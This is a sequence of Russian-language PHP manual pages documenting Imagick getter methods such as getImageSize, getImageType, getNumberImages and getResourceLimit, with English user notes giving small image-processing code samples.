  • « Imagick::getImageSignature
  • Imagick::getImageTicksPerSecond »
  • PHP Manual
  • Imagick
  • Возвращает размер изображения в байтах

Imagick::getImageSize

(PECL imagick 2, PECL imagick 3)

Imagick::getImageSize — Возвращает размер изображения в байтах

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::getImageSize(): int

Возвращает размер изображения в байтах. Этот метод устарел и следует использовать Imagick::getImageLength().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, содержащее текущий размер изображения.

User Contributed Notes

murphy(at)murphyslantech(dot)de 30-Nov-2010 07:21
If you get an error or warning (when using strict settings for PHP), telling you, that this function should not be used anymore try getImageLength() instead ...
Ricardo Cordts Monteiro 12-Feb-2010 04:11
Practical use to get the dimensions of the image:

<?php
$image = new Imagick($image_src);
$d = $image->getImageGeometry();
$w = $d['width'];
$h = $d['height'];
?>
nikolaus 17-Oct-2009 12:52
If you're planning to stream imagick images via http, pay attention that this function may return the uncompressed image size, so it's not directly suitable for setting the content-length http header.
benford at bluhelix dot com 22-Jun-2009 03:12
Try Imagick::getSize, Imagick::getImageWidth, or Imagick::getImageHeight if you are looking to get dimensions in pixels (rows, columns) of the current image.
perching_eagle at yahoo dot com 04-Oct-2007 06:37
/* get the size of the image in bytes */
$image=new Imagick("c:/htdocs/rose.jpg");
$size=$image->getImageSize();
print "the size of the picture is ".$size." bytes";

result

the size of the picture is 3461 bytes


Получает количество кадров в секунду для изображения

  • « Imagick::getImageSize
  • Imagick::getImageTotalInkDensity »
  • PHP Manual
  • Imagick
  • Получает количество кадров в секунду для изображения

Imagick::getImageTicksPerSecond

(PECL imagick 2, PECL imagick 3)

Imagick::getImageTicksPerSecond — Получает количество кадров в секунду для изображения

Описание

public Imagick::getImageTicksPerSecond(): int

Получает количество кадров в секунду для изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество кадров в секунду для изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает общую плотность чернил изображения

  • « Imagick::getImageTicksPerSecond
  • Imagick::getImageType »
  • PHP Manual
  • Imagick
  • Возвращает общую плотность чернил изображения

Imagick::getImageTotalInkDensity

(PECL imagick 2, PECL imagick 3)

Imagick::getImageTotalInkDensity — Возвращает общую плотность чернил изображения

Описание

public Imagick::getImageTotalInkDensity(): float

Возвращает общую плотность чернил изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает общую плотность чернил изображения. Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает возможный тип изображения

  • « Imagick::getImageTotalInkDensity
  • Imagick::getImageUnits »
  • PHP Manual
  • Imagick
  • Возвращает возможный тип изображения

Imagick::getImageType

(PECL imagick 2, PECL imagick 3)

Imagick::getImageType — Возвращает возможный тип изображения

Описание

public Imagick::getImageType(): int

Получение возможного типа изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает возможный тип изображения.

  • imagick::IMGTYPE_UNDEFINED
  • imagick::IMGTYPE_BILEVEL
  • imagick::IMGTYPE_GRAYSCALE
  • imagick::IMGTYPE_GRAYSCALEMATTE
  • imagick::IMGTYPE_PALETTE
  • imagick::IMGTYPE_PALETTEMATTE
  • imagick::IMGTYPE_TRUECOLOR
  • imagick::IMGTYPE_TRUECOLORMATTE
  • imagick::IMGTYPE_COLORSEPARATION
  • imagick::IMGTYPE_COLORSEPARATIONMATTE
  • imagick::IMGTYPE_OPTIMIZE

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 21-May-2012 11:18
This function will return an integer, with that value being equal to the evaluated value of the IMGType Constants as defined by the ImageMagick class.  When accessing them, they look like "imagick::IMGTYPE_PALETTE", but with "_VALUE" values of: undefined, bilevel, grayscale, grayscalematte, palette, palettematte, truecolor, truecolormatte, colorseparation, colorseparationmatte, and optimize.  If you were to print out these values, you would have '0' for undefined, '1' for bilevel, '2' for grayscale, and so on.

For a BMP picture drawn in paint, I got back the value # 4 - Palette.  For a BMP or JPEG photograph of the ocean or jungle, I got back the value # 6 - Truecolor.  For an animated GIF file, I got back the value # 5 - Palette Matte.  For a black-and-white JPEG drawing, I got back the value # 2 - Grayscale.  These are the most common results I have gotten back with this function.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_type = $imagick_type->getImageType();

        // Interpret Image Type Value
        // ---------------------------------------------

    switch($image_type)
    {
        case imagick::IMGTYPE_UNDEFINED:
            $image_type_title = "Undefined";
            break;

        case imagick::IMGTYPE_BILEVEL:
            $image_type_title = "Bilevel";
            break;

        case imagick::IMGTYPE_GRAYSCALE:
            $image_type_title = "Grayscale";
            break;

        case imagick::IMGTYPE_GRAYSCALEMATTE:
            $image_type_title = "Grayscale Matte";
            break;

        case imagick::IMGTYPE_PALETTE:
            $image_type_title = "Palette";
            break;

        case imagick::IMGTYPE_PALETTEMATTE:
            $image_type_title = "Palette Matte";
            break;

        case imagick::IMGTYPE_TRUECOLOR:
            $image_type_title = "Truecolor";
            break;

        case imagick::IMGTYPE_TRUECOLORMATTE:
            $image_type_title = "Truecolor Matte";
            break;

        case imagick::IMGTYPE_COLORSEPARATION:
            $image_type_title = "Color Separation";
            break;

        case imagick::IMGTYPE_COLORSEPARATIONMATTE:
            $image_type_title = "Color Separation Matte";
            break;

        case imagick::IMGTYPE_OPTIMIZE:
            $image_type_title = "Optimize";
            break;
    }

        // Print Image Type Value
        // ---------------------------------------------

    print("# $image_type - $image_type_title");

?>
lukeydeluxe at gmail dot com 15-Jan-2009 04:13
Remember, the result, if successful, is an Array, wich means you should call for example "$var[format]" if you want to know what format the file uses.


Возвращает единицы измерения разрешения изображения

  • « Imagick::getImageType
  • Imagick::getImageVirtualPixelMethod »
  • PHP Manual
  • Imagick
  • Возвращает единицы измерения разрешения изображения

Imagick::getImageUnits

(PECL imagick 2, PECL imagick 3)

Imagick::getImageUnits — Возвращает единицы измерения разрешения изображения

Описание

public Imagick::getImageUnits(): int

Возвращает единицы измерения разрешения изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает единицы измерения разрешения изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Victor 25-Apr-2018 09:06
Here's an example of how to interpret and use ImageResolution and ImageUnits:

$i = new Imagick('some_image_file.png');

$r = $i->getImageResolution();
$u = $i->getImageUnits();
if ($u == Imagick::RESOLUTION_PIXELSPERCENTIMETER) {
   $r[x] = (int)round($r[x] * 2.54);
   $r[y] = (int)round($r[y] * 2.54);
   $i->setImageUnits(Imagick::RESOLUTION_PIXELSPERINCH);
   $i->setImageResolution($r[x], $r[y]);

  //note that the number type is double again
   $r = $i->getImageResolution();
}
holdoffhunger at gmail dot com 22-Jun-2012 02:15
By using the PHP function for getImageUnits, you get back an integer representing the evaluation of a predefined, PATHUNITS constant of the ImageMagick package.  You only have four values for this.  They look like "imagick::PATHUNITS_UNDEFINED", with _VALUE value's being: undefined, userspace, userspaceonuse, and objectboundingbox.  Undefined, if printed, is a 0, userspace is a 1, userspaceonuse is a 2, and objectboundingbox is a 3.

What's the use of knowing the Clipping Path Unit default for an image?  According to the Wikipedia article for "Clipping Path", a Clipping Path is "a closed vector path, or shape, used to cut out a 2D image in image editing software. Anything inside the path will be included after the clipping path is applied; anything outside the path will be omitted from the output."

The official ImageMagick documentation provides only two valid values coming into or out of the clipping path unit value, one being userSpaceOnUse and the other being ObjectBoundingBox.  The only definitions provided: "If userSpaceOnUse, the contents of the clipping path represent values in the current user coordinate system in place at the time when the clipping path is referenced. if objectBoundingBox, then the user coordinate system for the contents of the clipping path is established using the bounding box of the object to which the clipping path is applied. The default is userSpaceOnUse." http://www.imagemagick.org/RMagick/doc/rvgclip.html

In personal experimentation, all JPEG and GIF files have provided '0' for "Undefined" on this function, and all BMP and PNG files have provided '2' for "UserSpaceOnUse" on this function.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Units
        // ---------------------------------------------

    $image_page = $imagick_type->getImageUnits();

        // Interpret Units Value
        // ---------------------------------------------

    switch($image_units)
    {
        case imagick::PATHUNITS_UNDEFINED:
            $image_units_printable = "Undefined";
            break;

        case imagick::PATHUNITS_USERSPACE:
            $image_units_printable = "User Space";
            break;

        case imagick::PATHUNITS_USERSPACEONUSE:
            $image_units_printable = "User Space On Use";
            break;

        case imagick::PATHUNITS_OBJECTBOUNDINGBOX:
            $image_units_printable = "Object Bounding Box";
            break;
    }

        // Print Units Value
        // ---------------------------------------------

    print(" Image Units: # $image_units -- $image_units_printable .");

?>


Возвращает метод виртуального пикселя

  • « Imagick::getImageUnits
  • Imagick::getImageWhitePoint »
  • PHP Manual
  • Imagick
  • Возвращает метод виртуального пикселя

Imagick::getImageVirtualPixelMethod

(PECL imagick 2, PECL imagick 3)

Imagick::getImageVirtualPixelMethod — Возвращает метод виртуального пикселя

Описание

public Imagick::getImageVirtualPixelMethod(): int

Возвращает метод виртуального пикселя для указанного изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает метод виртуального пикселя в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает белую точку цветности

  • « Imagick::getImageVirtualPixelMethod
  • Imagick::getImageWidth »
  • PHP Manual
  • Imagick
  • Возвращает белую точку цветности

Imagick::getImageWhitePoint

(PECL imagick 2, PECL imagick 3)

Imagick::getImageWhitePoint — Возвращает белую точку цветности

Описание

public Imagick::getImageWhitePoint(): array

Возвращает белую точку цветности в виде ассоциативного массива с ключами "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает белую точку цветности в виде ассоциативного массива с ключами "x" и "y".

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ширину изображения

  • « Imagick::getImageWhitePoint
  • Imagick::getInterlaceScheme »
  • PHP Manual
  • Imagick
  • Возвращает ширину изображения

Imagick::getImageWidth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageWidth — Возвращает ширину изображения

Описание

public Imagick::getImageWidth(): int

Возвращает ширину изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ширину изображения в пикселях.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

nospam dot karst at onlinq dot nl 28-Jul-2015 07:19
"bob at majdak dot net" mentioned that this function does not return the resized image size.

I use this function in production code, and it correctly returns the width for an image resized with `resizeImage()`.
I have not tested it with `scaleImage()`.
bob at majdak dot net 16-Apr-2015 08:08
I am noticing that this is returning the original size of the image when it was opened, and not the size it may have been resized to with scaleImage or resizeImage.
terry 16-Mar-2014 12:16
<?php

$image = new Imagick("picture.jpg");
$width = $image->getImageWidth();
print "the image width is " . $width . " pixels";

?>

Will print:
the image width is 200 pixels


Получает схему сжатия изображения

  • « Imagick::getImageWidth
  • Imagick::getIteratorIndex »
  • PHP Manual
  • Imagick
  • Получает схему сжатия изображения

Imagick::getInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::getInterlaceScheme — Получает схему сжатия изображения

Описание

public Imagick::getInterlaceScheme(): int

Получает схему сжатия изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Получает схему сжатия изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс текущего активного изображения

  • « Imagick::getInterlaceScheme
  • Imagick::getNumberImages »
  • PHP Manual
  • Imagick
  • Возвращает индекс текущего активного изображения

Imagick::getIteratorIndex

(PECL imagick 2, PECL imagick 3)

Imagick::getIteratorIndex — Возвращает индекс текущего активного изображения

Описание

public Imagick::getIteratorIndex(): int

Возвращает индекс текущего активного изображения в объекте Imagick. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число, содержащее индекс изображения в стеке.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::getIteratorIndex():

Создание изображения, установка и получение индекса итератора

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

Смотрите также

  • Imagick::setIteratorIndex() - Устанавливает позицию итератора
  • Imagick::getImageIndex() - Возвращает индекс текущего активного изображения
  • Imagick::setImageIndex() - Устанавливает позицию итератора

User Contributed Notes

Michael O&#39;Connell 27-Aug-2015 02:36
This will also retrieve which page number of a multipage document (i.e. PDF, PS) file the Imagick instance is currently on.  By default for a PDF it seems to be set to the last page.
holdoffhunger at gmail dot com 22-May-2012 11:42
The getIteratorIndex function of the ImageMagick function works on any type of image, but it is built for measuring the number of frames in an animated .gif file.  For non-animated image files, like regular .bmp or .jpg files, this function will always return the number '0', meaning that there is only one frame.  Counting starts from zero with this function, so a .gif file with five different frames will return a value of '4' on this.  Highly repetitive, but psychedelic animated GIF's are often anywhere between 10 and 30 frames, but a .gif file that is nothing more than video footage converted to a datafile may have hundreds of frames.

According to Wikipedia (in the article for "Graphics Interchange Format"), an animated GIf image is a uses the GIF standard "which allows various images (frames) in the file to be painted with time delays."  This function won't get you the amount of time that delays between each frame, but it will give you the number of unique frames in a .gif file.  This will tell you how complicated or simple the animation may be.

Is the 'getIteratorIndex' function not working for you?  Try the 'getImageIndex' function, which produces the same exact result.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_iterator_index = $imagick_type->getIteratorIndex();

        // Print Image Type Value
        // ---------------------------------------------

    print("Number of Unique Frames in the .GIF File: $image_iterator_index");

?>


Возвращает количество изображений в объекте

  • « Imagick::getIteratorIndex
  • Imagick::getOption »
  • PHP Manual
  • Imagick
  • Возвращает количество изображений в объекте

Imagick::getNumberImages

(PECL imagick 2, PECL imagick 3)

Imagick::getNumberImages — Возвращает количество изображений в объекте

Описание

public Imagick::getNumberImages(): int

Возвращает количество изображений, связанных с объектом Imagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество изображений, связанных с объектом Imagick.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 07:26
For PDFs this function indicates the number of pages on the PDF, NOT images that might be embedded within the PDF.

<?php

$document = new Imagick('2_pager.pdf');

var_dump($document->getNumberImages()); //returns 2

$document = new Imagick('1_pager.pdf');

var_dump($document->getNumberImages()); //returns 1

?>

From my research it is not possible to obtain the images embedded within a PDF by using the PHP Imagick library.
gzabriskie at yahoo dot com 07-Apr-2009 05:21
<?php
/* Create the object */
$image = new Imagick('YourImageLocation.tif');
$count = $image->getNumberImages();

echo "<h3 style=\"font: bold 12pt Arial\">Total Number of Images Extracted ".
     "from the TIF : ".$image->getNumberImages()."</h3>";

for ($x = 1;$x <= $image->getNumberImages(); $x++) {
  $image->previousImage();
  $image->thumbnailImage( 400, null );
  $image->writeImage('img'.$count.'.png');
  $count--;
}
?>

<html>
  <head>
    <title>Extracting Images Form TIFF</title>
  </head>
  <body>
    <table cellspacing="10" style="background: #ddd"><tr>
      <?php
      for ($x = 1;$x <= $image->getNumberImages(); $x++) {
        echo "<td><img src=\"img$x.png\"<br /><p style=\"font: bold 12pt Arial;".
             "text-align: center\">image $x (png)</p></td>";
      }
      ?>
    </tr></table>
  </body>
</html>


Возвращает значение, связанное с указанным ключом

  • « Imagick::getNumberImages
  • Imagick::getPackageName »
  • PHP Manual
  • Imagick
  • Возвращает значение, связанное с указанным ключом

Imagick::getOption

(PECL imagick 2, PECL imagick 3)

Imagick::getOption — Возвращает значение, связанное с указанным ключом

Описание

public Imagick::getOption(string $key): string

Возвращает значение, связанное с объектом для указанного ключа.

Список параметров

key

Название опции.

Возвращаемые значения

Возвращает значение, связанное с палочкой и указанным ключом.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя пакета ImageMagick

  • « Imagick::getOption
  • Imagick::getPage »
  • PHP Manual
  • Imagick
  • Возвращает имя пакета ImageMagick

Imagick::getPackageName

(PECL imagick 2, PECL imagick 3)

Imagick::getPackageName — Возвращает имя пакета ImageMagick

Описание

public static Imagick::getPackageName(): string

Возвращает имя пакета ImageMagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя пакета ImageMagick в виде строки.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает геометрию страницы

  • « Imagick::getPackageName
  • Imagick::getPixelIterator »
  • PHP Manual
  • Imagick
  • Возвращает геометрию страницы

Imagick::getPage

(PECL imagick 2, PECL imagick 3)

Imagick::getPage — Возвращает геометрию страницы

Описание

public Imagick::getPage(): array

Возвращает геометрию страницы, связанную с объектом Imagick, в виде ассоциативного массива с ключами "width", "height", "x" и "y".

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает геометрию страницы, связанную с объектом Imagick, в виде ассоциативного массива с ключами "width", "height", "x" и "y", в случае ошибки выбрасывает исключение ImagickException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает MagickPixelIterator

  • « Imagick::getPage
  • Imagick::getPixelRegionIterator »
  • PHP Manual
  • Imagick
  • Возвращает MagickPixelIterator

Imagick::getPixelIterator

(PECL imagick 2, PECL imagick 3)

Imagick::getPixelIterator — Возвращает MagickPixelIterator

Описание

public Imagick::getPixelIterator(): ImagickPixelIterator

Возвращает MagickPixelIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ImagickPixelIterator в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::getPixelIterator()

<?php
function getPixelIterator($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imageIterator = $imagick->getPixelIterator();

foreach ($imageIterator as $row => $pixels) { /* Проход по строкам пикселей в цикле */
foreach ($pixels as $column => $pixel) { /* Проход по пикселям в строке (по столбцам) */
/** @var $pixel \ImagickPixel */
if ($column % 2) {
$pixel->setColor("rgba(0, 0, 0, 0)"); /* Закрашивание каждого второго пикселя в черный цвет */
}
}
$imageIterator->syncIterator(); /* Синхронизация итератора, это важно делать на каждой итерации. */
}

header("Content-Type: image/jpg");
echo $imagick;
}

?>

User Contributed Notes

Sebastian Herold 30-Jun-2008 01:06
For me it was very helpful to read a article at Mikko's blog. He showed that the PixelIterator is not read-only, if you sync it regularly:

<?php
      /* Create new object with the image */
      $im = new Imagick( "strawberry.png" );

      /* Get iterator */
      $it = $im->getPixelIterator();

      /* Loop trough pixel rows */
      foreach( $it as $row => $pixels )
      {
          /* For every second row */
          if ( $row % 2 )
          {
              /* Loop trough the pixels in the row (columns) */
              foreach ( $pixels as $column => $pixel )
              {
                      /* Paint every second pixel black*/
                      if ( $column % 2 )
                      {
                              $pixel->setColor( "black" );
                      }
              }

          }

          /* Sync the iterator, this is important to do on each iteration */
          $it->syncIterator();
      }

      /* Display the image */
      header( "Content-Type: image/png" );
      echo $im;

?>


Возвращает объект ImagickPixelIterator для секции изображения

  • « Imagick::getPixelIterator
  • Imagick::getPointSize »
  • PHP Manual
  • Imagick
  • Возвращает объект ImagickPixelIterator для секции изображения

Imagick::getPixelRegionIterator

(PECL imagick 2, PECL imagick 3)

Imagick::getPixelRegionIterator — Возвращает объект ImagickPixelIterator для секции изображения

Описание

public Imagick::getPixelRegionIterator(
int $x,
int $y,
int $columns,
int $rows
): ImagickPixelIterator

Возвращает объект ImagickPixelIterator для секции изображения.

Список параметров

x

Координата области X.

y

Координата области Y.

columns

Ширина области.

rows

Высота области.

Возвращаемые значения

Возвращает объект ImagickPixelIterator для секции изображения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции Imagick::getPixelRegionIterator()

Пробегает по пикселям вверху слева изображения и заменяет их на чёрные.

<?php
$im = new Imagick(realpath("./testImage.png"));
$areaIterator = $im->getPixelRegionIterator(0, 0, 10, 10);

foreach ($areaIterator as $rowIterator) {
foreach ($rowIterator as $pixel) {
// Красит каждый пиксель черным
$pixel->setColor("rgba(0, 0, 0, 0)");
}
$areaIterator->syncIterator();
}
$im->writeImage("./output.png");
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер точки

  • « Imagick::getPixelRegionIterator
  • Imagick::getQuantum »
  • PHP Manual
  • Imagick
  • Возвращает размер точки

Imagick::getPointSize

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::getPointSize — Возвращает размер точки

Описание

public Imagick::getPointSize(): float

Возвращает значение размера точки объекта. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или старше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает float, содержащее размер точки.

Смотрите также

  • Imagick::setPointSize() - Устанавливает размер точки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает квантовый диапазон ImageMagick

  • « Imagick::getPointSize
  • Imagick::getQuantumDepth »
  • PHP Manual
  • Imagick
  • Возвращает квантовый диапазон ImageMagick

Imagick::getQuantum

(PECL imagick 3 >= 3.3.0)

Imagick::getQuantum — Возвращает квантовый диапазон ImageMagick

Описание

public static Imagick::getQuantum(): int

Возвращает квантовый диапазон ImageMagick. Если HDRI был включён, то тип - float, если нет - int.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает величину глубины

  • « Imagick::getQuantum
  • Imagick::getQuantumRange »
  • PHP Manual
  • Imagick
  • Возвращает величину глубины

Imagick::getQuantumDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getQuantumDepth — Возвращает величину глубины

Описание

public static Imagick::getQuantumDepth(): array

Возвращает величину глубины объекта Imagick в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает величину глубины объекта Imagick в виде строки.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 12-May-2012 10:10
The getQuantumDepth works much like the other "Depth" functions and much like the getQuantumRange function.  Like the Depth functions, it returns a value indicating the number of bits to store the unique color values -- 16-bit = 2^16 unique colors, which is 65,535 (counting starts at '0' in binary, as opposed to '1' in decimal).  Like the getQuantumRange function, it returns an array with two values, one being a long integer ('quantumDepthLong') and the other being a string ('quantumDepthLong').  The only difference, besides the variable types, is that the string version has a 'Q' prefixed to it.

Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Depth
        // ---------------------------------------------

    $imagick_type_quantum_depth = $imagick_type->getQuantumDepth();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_depth);
    print("</pre>");

?>

Output:

Array
(
    [quantumDepthLong] => 16
    [quantumDepthString] => Q16
)


Возвращает величину размера спектра Imagick

  • « Imagick::getQuantumDepth
  • Imagick::getRegistry »
  • PHP Manual
  • Imagick
  • Возвращает величину размера спектра Imagick

Imagick::getQuantumRange

(PECL imagick 2, PECL imagick 3)

Imagick::getQuantumRange — Возвращает величину размера спектра Imagick

Описание

public static Imagick::getQuantumRange(): array

Возвращает величину размера спектра для объекта Imagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий размер спектра как целое число int ("quantumRangeLong") и как строку string ("quantumRangeString").

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

holdoffhunger at gmail dot com 02-May-2012 09:42
The getQuantumRange is a useful function, since many of the ImageMagick functions accept parameters from 0 to a maximum of the Quantum Range.  When getting a return value for this, it doesn't return a string.  It actually returns an array, with one type being a String ('quantumRangeLong') and the other type being a Long Int ('quantumRangeString').  Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_quantum_range = $imagick_type->getQuantumRange();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_range);
    print("</pre>");

?>

Output:

Array
(
    [quantumRangeLong] => 65535
    [quantumRangeString] => 65535
)


Получает запись StringRegistry

  • « Imagick::getQuantumRange
  • Imagick::getReleaseDate »
  • PHP Manual
  • Imagick
  • Получает запись StringRegistry

Imagick::getRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::getRegistry — Получает запись StringRegistry

Описание

public static Imagick::getRegistry(string $key): string

Получает запись StringRegistry для указанного ключа или false, если не задано.

Список параметров

key

Запись, которую нужно получить.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дату релиза ImageMagick

  • « Imagick::getRegistry
  • Imagick::getResource »
  • PHP Manual
  • Imagick
  • Возвращает дату релиза ImageMagick

Imagick::getReleaseDate

(PECL imagick 2, PECL imagick 3)

Imagick::getReleaseDate — Возвращает дату релиза ImageMagick

Описание

public static Imagick::getReleaseDate(): string

Возвращает дату релиза ImageMagick в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает дату релиза ImageMagick в виде строки.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер используемой памяти указанного ресурса

  • « Imagick::getReleaseDate
  • Imagick::getResourceLimit »
  • PHP Manual
  • Imagick
  • Возвращает размер используемой памяти указанного ресурса

Imagick::getResource

(PECL imagick 2, PECL imagick 3)

Imagick::getResource — Возвращает размер используемой памяти указанного ресурса

Описание

public static Imagick::getResource(int $type): int

Возвращает размер используемой памяти указанного ресурса в мегабайтах.

Список параметров

type

Смотрите список констант типов ресурсов.

Возвращаемые значения

Возвращает размер используемой памяти указанного ресурса в мегабайтах.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает заданный лимит ресурсов

  • « Imagick::getResource
  • Imagick::getSamplingFactors »
  • PHP Manual
  • Imagick
  • Возвращает заданный лимит ресурсов

Imagick::getResourceLimit

(PECL imagick 2, PECL imagick 3)

Imagick::getResourceLimit — Возвращает заданный лимит ресурсов

Описание

public static Imagick::getResourceLimit(int $type): int

Возвращает заданный лимит ресурсов.

Список параметров

type

Одна из констант типов ресурсов. Блок (unit) зависит от типа ограниченного ресурса.

Возвращаемые значения

Возвращает заданный лимит ресурсов в мегабайтах.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Смотрите также

  • Imagick::setResourceLimit() - Устанавливает лимит для конкретного ресурса

User Contributed Notes

holdoffhunger at gmail dot com 23-May-2012 11:43
By using the PHP function getResourceLimit, you'll be given the maximum allowed amount of a particular type of resource.  The integer returned is the number of bytes allowed to the resource you specified in the input parameter.  For the input parameter options, you have the predefined ResourceType constants for the ImageMagick package.  In the code, they look like imagick::RESOURCETYPE_AREA, but you have "_VALUE" options of: undefined, area, disk, file, map, and memory.

What do each of these particular values represent?  The ImageMagick official documentation is helpful in that matter.  File indicates "maximum number of open pixel cache files", Area indicates "maximum area in bytes of any one image that can reside in the pixel cache memory", Memory indicates "maximum amount of memory in bytes to allocate for the pixel cache", map indicates "maximum amount of memory map in bytes to allocate for the pixel cache", and disk indicates "maximum amount of disk space in bytes permitted for use by the pixel cache".  This is according to the Official ImageMagick Architecture page: http://www.imagemagick.org/script/architecture.php .

The Official ImageMagick Resource page has more information on how these parameters function.  For instance, the files limit documentation mentions that when a user goes over the limit, any more files will be "cached to disk are closed and reopened on demand."  (Again, a performance hit.)  See that page here: http://www.imagemagick.org/script/resources.php .

What happens when someone exceeds their limit?  It doesn't cause the PHP script to error out, but simply, it relocates their user activity to non-cache memory (i.e.: virtual memory, which is slow).  So, even if you're worried about the limit, it really only indicates the point in a server at which a user's request is devalued compared to other user requests.

And remember, you can always set the defaults in the policy.xml file on your own server.

